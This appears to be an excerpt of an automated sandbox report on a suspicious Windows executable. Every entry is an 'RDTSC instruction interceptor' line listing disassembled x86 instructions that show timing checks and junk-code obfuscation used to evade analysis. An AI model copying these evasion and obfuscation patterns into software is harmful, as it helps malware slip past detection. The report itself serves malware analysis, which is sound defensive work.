Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94013C second address: 940147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 940147 second address: 940168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8C34D41AD6h 0x0000000a jmp 00007F8C34D41AE0h 0x0000000f jno 00007F8C34D41AD6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94071C second address: 940726 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8C3524AD96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9411F0 second address: 94120D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C34D41AE7h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94120D second address: 941218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9440B1 second address: 9440E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C34D41ADAh 0x00000009 jmp 00007F8C34D41AE7h 0x0000000e jne 00007F8C34D41AD6h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9545FA second address: 954607 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8C3524AD96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960C93 second address: 960CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8C34D41AE5h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960CB5 second address: 960CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D0CB second address: 97D0CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D0CF second address: 97D0D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D0D5 second address: 97D0EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F8C34D41ADEh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C117 second address: 97C141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 je 00007F8C3524AD96h 0x0000000c popad 0x0000000d jno 00007F8C3524ADADh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C141 second address: 97C17C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F8C34D41AE2h 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007F8C34D41AD6h 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C17C second address: 97C184 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97C184 second address: 97C18A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97CC4E second address: 97CC52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E7CD second address: 97E7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8C34D41AD6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9829AD second address: 982A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F8C3524AD98h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F8C3524AD98h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b mov edx, dword ptr [ebp+12481442h] 0x00000031 push esi 0x00000032 mov dword ptr [ebp+122D1C6Bh], edx 0x00000038 pop edx 0x00000039 adc dx, DF62h 0x0000003e push 00000004h 0x00000040 jmp 00007F8C3524ADA0h 0x00000045 call 00007F8C3524AD99h 0x0000004a push esi 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982CA0 second address: 982CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8C34D41AD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982CAB second address: 982CB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F8C3524AD96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982CB5 second address: 982D14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e adc edx, 06ECB031h 0x00000014 push dword ptr [ebp+122D3B71h] 0x0000001a pushad 0x0000001b xor dword ptr [ebp+122D2C28h], ecx 0x00000021 mov dword ptr [ebp+12451951h], edi 0x00000027 popad 0x00000028 call 00007F8C34D41AD9h 0x0000002d pushad 0x0000002e jnc 00007F8C34D41ADCh 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F8C34D41AE3h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982D14 second address: 982D18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982D18 second address: 982D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jnp 00007F8C34D41AEAh 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986165 second address: 986169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986169 second address: 98616D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98616D second address: 986173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986173 second address: 98619F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F8C34D41AD6h 0x0000000d jmp 00007F8C34D41AE8h 0x00000012 jp 00007F8C34D41AD6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0558 second address: 8A055C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A074C second address: 8A075B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F8C34D41AD6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990271 second address: 4990275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990275 second address: 4990279 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990279 second address: 499027F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499027F second address: 499030C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8C34D41ADBh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 call 00007F8C34D41AE4h 0x00000016 pushfd 0x00000017 jmp 00007F8C34D41AE2h 0x0000001c sbb esi, 58FED9F8h 0x00000022 jmp 00007F8C34D41ADBh 0x00000027 popfd 0x00000028 pop ecx 0x00000029 mov ebx, 67BAFD3Ch 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007F8C34D41ADCh 0x0000003a xor esi, 782EB458h 0x00000040 jmp 00007F8C34D41ADBh 0x00000045 popfd 0x00000046 mov ch, 65h 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499030C second address: 4990321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C3524ADA1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990321 second address: 4990325 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03E0 second address: 49C040B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C3524AD9Fh 0x00000008 mov dx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8C3524ADA0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C040B second address: 49C041D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C34D41ADEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C041D second address: 49C0446 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524AD9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8C3524ADA5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0446 second address: 49C044C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C044C second address: 49C047B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F8C3524ADA4h 0x0000000e mov dword ptr [esp], esi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8C3524AD9Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C047B second address: 49C049D instructions: 0x00000000 rdtsc 0x00000002 call 00007F8C34D41AE2h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov bh, 62h 0x0000000c popad 0x0000000d lea eax, dword ptr [ebp-04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C049D second address: 49C04A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0540 second address: 49C0550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C34D41ADCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C05AE second address: 49C05B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C05B2 second address: 49C05B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C05B6 second address: 49C05BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C05BC second address: 49B000A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b jmp 00007F8C34D41AE0h 0x00000010 pop esi 0x00000011 jmp 00007F8C34D41AE0h 0x00000016 leave 0x00000017 jmp 00007F8C34D41AE0h 0x0000001c retn 0004h 0x0000001f nop 0x00000020 cmp eax, 00000000h 0x00000023 setne al 0x00000026 xor ebx, ebx 0x00000028 test al, 01h 0x0000002a jne 00007F8C34D41AD7h 0x0000002c xor eax, eax 0x0000002e sub esp, 08h 0x00000031 mov dword ptr [esp], 00000000h 0x00000038 mov dword ptr [esp+04h], 00000000h 0x00000040 call 00007F8C3902AF13h 0x00000045 mov edi, edi 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a mov eax, 28B258A3h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B000A second address: 49B008D instructions: 0x00000000 rdtsc 0x00000002 call 00007F8C3524ADA8h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushfd 0x0000000b jmp 00007F8C3524AD9Bh 0x00000010 or cx, EC7Eh 0x00000015 jmp 00007F8C3524ADA9h 0x0000001a popfd 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F8C3524ADA3h 0x00000026 add ch, FFFFFF8Eh 0x00000029 jmp 00007F8C3524ADA9h 0x0000002e popfd 0x0000002f mov si, ED97h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B008D second address: 49B013F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8C34D41AE3h 0x00000009 adc ecx, 03E63C9Eh 0x0000000f jmp 00007F8C34D41AE9h 0x00000014 popfd 0x00000015 movzx ecx, bx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007F8C34D41ADAh 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 movzx esi, di 0x00000026 jmp 00007F8C34D41AE3h 0x0000002b popad 0x0000002c mov ebp, esp 0x0000002e pushad 0x0000002f mov cl, B8h 0x00000031 mov eax, edx 0x00000033 popad 0x00000034 push FFFFFFFEh 0x00000036 jmp 00007F8C34D41AE3h 0x0000003b push FCC796CFh 0x00000040 pushad 0x00000041 mov bl, C3h 0x00000043 popad 0x00000044 add dword ptr [esp], 79D30779h 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e mov cl, EEh 0x00000050 pushfd 0x00000051 jmp 00007F8C34D41AE1h 0x00000056 jmp 00007F8C34D41ADBh 0x0000005b popfd 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B013F second address: 49B0145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0145 second address: 49B01B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F8C34D41AD9h 0x0000000d pushad 0x0000000e mov dl, 99h 0x00000010 push esi 0x00000011 push edi 0x00000012 pop esi 0x00000013 pop edx 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F8C34D41ADDh 0x0000001d add ax, 8306h 0x00000022 jmp 00007F8C34D41AE1h 0x00000027 popfd 0x00000028 call 00007F8C34D41AE0h 0x0000002d mov edi, eax 0x0000002f pop eax 0x00000030 popad 0x00000031 mov eax, dword ptr [esp+04h] 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F8C34D41AE3h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B01B2 second address: 49B0208 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F8C3524ADA1h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F8C3524AD9Ah 0x0000001d xor ax, 5198h 0x00000022 jmp 00007F8C3524AD9Bh 0x00000027 popfd 0x00000028 mov ah, 1Bh 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0208 second address: 49B0276 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F8C34D41ADEh 0x00000011 jmp 00007F8C34D41AE5h 0x00000016 popfd 0x00000017 mov edx, ecx 0x00000019 popad 0x0000001a mov eax, dword ptr fs:[00000000h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F8C34D41AE2h 0x00000029 adc ax, E0B8h 0x0000002e jmp 00007F8C34D41ADBh 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0276 second address: 49B029B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ax, 75A9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B029B second address: 49B02FD instructions: 0x00000000 rdtsc 0x00000002 mov si, C365h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007F8C34D41AE2h 0x0000000e xor ah, 00000078h 0x00000011 jmp 00007F8C34D41ADBh 0x00000016 popfd 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007F8C34D41AE9h 0x0000001e nop 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F8C34D41AE8h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B02FD second address: 49B030C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524AD9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B030C second address: 49B0324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C34D41AE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0324 second address: 49B033B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 18h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8C3524AD9Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B033B second address: 49B034D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C34D41ADEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B034D second address: 49B039E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007F8C3524AD9Ch 0x0000000e mov dword ptr [esp], ebx 0x00000011 pushad 0x00000012 mov di, ax 0x00000015 mov esi, 6AEE7579h 0x0000001a popad 0x0000001b xchg eax, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F8C3524ADA1h 0x00000025 sub cx, 3646h 0x0000002a jmp 00007F8C3524ADA1h 0x0000002f popfd 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B039E second address: 49B03A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B03A3 second address: 49B03A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B03A9 second address: 49B03AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B03AD second address: 49B03B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B03B1 second address: 49B0429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F8C34D41AE1h 0x00000010 and ax, EE56h 0x00000015 jmp 00007F8C34D41AE1h 0x0000001a popfd 0x0000001b popad 0x0000001c xchg eax, esi 0x0000001d pushad 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F8C34D41ADAh 0x00000025 jmp 00007F8C34D41AE5h 0x0000002a popfd 0x0000002b mov ebx, esi 0x0000002d popad 0x0000002e jmp 00007F8C34D41ADCh 0x00000033 popad 0x00000034 xchg eax, edi 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F8C34D41ADCh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0429 second address: 49B048B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F8C3524ADA1h 0x00000009 movzx esi, di 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007F8C3524ADA3h 0x00000014 xchg eax, edi 0x00000015 jmp 00007F8C3524ADA6h 0x0000001a mov eax, dword ptr [769B4538h] 0x0000001f jmp 00007F8C3524ADA0h 0x00000024 xor dword ptr [ebp-08h], eax 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B048B second address: 49B048F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B048F second address: 49B04DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xor eax, ebp 0x0000000c jmp 00007F8C3524ADA7h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8C3524ADA5h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B04DE second address: 49B04E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B04E4 second address: 49B0512 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007F8C3524ADA2h 0x00000012 adc cl, 00000048h 0x00000015 jmp 00007F8C3524AD9Bh 0x0000001a popfd 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0512 second address: 49B052E instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 26BB5BBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, eax 0x0000000b popad 0x0000000c nop 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8C34D41ADDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B052E second address: 49B05C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C3524ADA7h 0x00000008 call 00007F8C3524ADA8h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 lea eax, dword ptr [ebp-10h] 0x00000014 pushad 0x00000015 mov edx, 3EE7EB02h 0x0000001a pushfd 0x0000001b jmp 00007F8C3524ADA3h 0x00000020 and esi, 7F580DFEh 0x00000026 jmp 00007F8C3524ADA9h 0x0000002b popfd 0x0000002c popad 0x0000002d mov dword ptr fs:[00000000h], eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 mov edi, 5E46635Eh 0x0000003b jmp 00007F8C3524AD9Fh 0x00000040 popad 0x00000041 rdtsc
